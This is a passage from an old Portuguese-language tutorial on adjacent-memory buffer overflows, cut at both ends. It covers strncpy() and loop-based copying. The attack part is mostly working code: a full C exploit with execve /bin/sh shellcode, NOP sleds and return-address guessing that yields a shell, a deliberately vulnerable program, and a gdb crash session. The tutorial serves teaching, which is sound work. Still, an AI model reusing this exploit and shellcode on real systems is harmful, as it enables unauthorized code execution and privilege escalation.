eh funcional! Mas podemos dividi-lo e aprimora-lo ate mesmo para evitar o uso de offsets. Outro possivel esquema pode obedecer o seguinte modelo descrito pelo twitch na Phrack 56:Apos a execucao de strncpy(), buf2 deve parecer com:Codigo: [ 0 ......................................................... 512 ] -------------------------------------------------------------------- | | | | offset_para_shellcode | Um monte de lixo(NULL, NOPs) | | | | --------------------------------------------------------------------E buf1 deve parecer com: [ 0 .......................................................... 256 ] -------------------------------------------------------------------- | | | | | Cadeia de NOP's | shellcode | Mais NOP's | | | | | --------------------------------------------------------------------Logo, para este esquema poderiamos ter o seguinte exploit:Codigo:/* Segundo exemplo de exploit para * strcnpy() - Espaco de Memoria Adjacente. * Desenvolvido por Nash Leon p/ tutorial. * nashleon@yahoo.com.br */#include <stdio.h>#include <unistd.h>#include <stdlib.h>#include <string.h>#define LENBUFF1 256#define LENBUFF2 512/* Shellcode Padrao */char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";/* Captura o Stack Pointer */unsigned long get_sp(void){ __asm__("movl %esp,%eax");}int main(int argc,char *argv[]) {char buff1[LENBUFF1];char buff2[LENBUFF2];int i, offset = 0;unsigned long retaddr;if(argc < 2){printf("Uso: %s <offset>\n",argv[0]);exit(0);}offset = atoi(argv[1]);memset(buff1,0x90,sizeof(buff1));memcpy(buff1+100,shellcode,strlen(shellcode));retaddr = get_sp() + offset;memset(buff2,0x90,sizeof(buff2));for(i=0; i< LENBUFF2 - 360; i+=4){ buff2[i]=(retaddr&0x000000ff); buff2[i+1]=(retaddr&0x0000ff00)>>8; buff2[i+2]=(retaddr&0x00ff0000)>>16; buff2[i+3]=(retaddr&0xff000000)>>24; }printf("Usando Retorno: 0x%x\n", retaddr);execl("./v","./v",buff1,buff2,NULL);}Executando:kimera3:/work/testes# ./ev2 120Usando Retorno: 0xbffff7c4sh-2.03#Bom, como podemos perceber nao ha muito problema em exploitar este tipo de problema. Mas podemos ir mais alem.4 - Expansao do ConceitoQualquer funcao que manipula strings a espera de um caracter NULL para "encerrar" a string pode estar vulneravel a este tipo de problema. Vimos no exemplo acima, strncpy(), uma funcao que eh muito usada, mas podemos ir mais alem.As seguintes funcoes tambem podem apresentar problemas:Codigo:fread() read() [ read(), readv(), pread() ] memcpy() memccpy() memmove() bcopy() for(i = 0; i < MAXSIZE; i++) buf[i] = buf2[i]; gethostname() strncat()e etc.Hoje em dia, a que mais chama a atencao eh a for().Vejamos o exemplo abaixo:Codigo:/* Exemplo de programa vulneravel em for(). * Documento sobre problemas com memoria adjacente * Nash Leon - nashleon@yahoo.com.br. */ #include <stdio.h>#include <unistd.h>#define MAXSIZE 256int bugada(char *buffer);int main(int argc,char *argv[]) {char buf1[MAXSIZE];char buf2[MAXSIZE];char *pam;int i;pam = argv[1];/* Copiamos conteudo de argv[1] para buf1 */for(i = 0; i < MAXSIZE; i++){buf1[i] = pam[i];}for(i =0; i < MAXSIZE; i++){buf2[i] = buf1[i];}bugada(buf2);return 0;}int bugada(char *buffer){char buf3[MAXSIZE];int i;for(i = 0; i < strlen(buffer); i++){ buf3[i] = buffer[i]; }}# gdb ./v2GNU gdb 4.18Copyright 1998 Free Software Foundation, Inc.GDB is free software, covered by the GNU General Public License, and youarewelcome to change it and/or distribute copies of it under certainconditions.Type "show copying" to see the conditions.There is absolutely no warranty for GDB. Type "show warranty" fordetails.This GDB was configured as "i686-pc-linux-gnu"...(gdb) r `perl -e 'print "A" x 256'`Starting program: /work/testes/./v2 `perl -e 'print "A" x 256'`warning: Unable to find dynamic linker breakpoint function.GDB will be unable to debug shared library initializersand track explicitly loaded dynamic code.Program Recebido signal SIGSEGV, Segmentation fault.0x41414141 in ?? ()(gdb)Bom, como podemos ver, o problema eh serio! E condicoes com for()ainda tem sido manifestadas em inumeros programas. O conceito eh estee em breve espero poder abordar maiores pormenores sobre isso.TerminandoMais um documento sobre buffer overflows. Inumeras tecnicas existem eeste documento eh mais um basico.Para impedir que os buffers sejam usados em condicoes de overflowpela funcoes, em muitos casos basta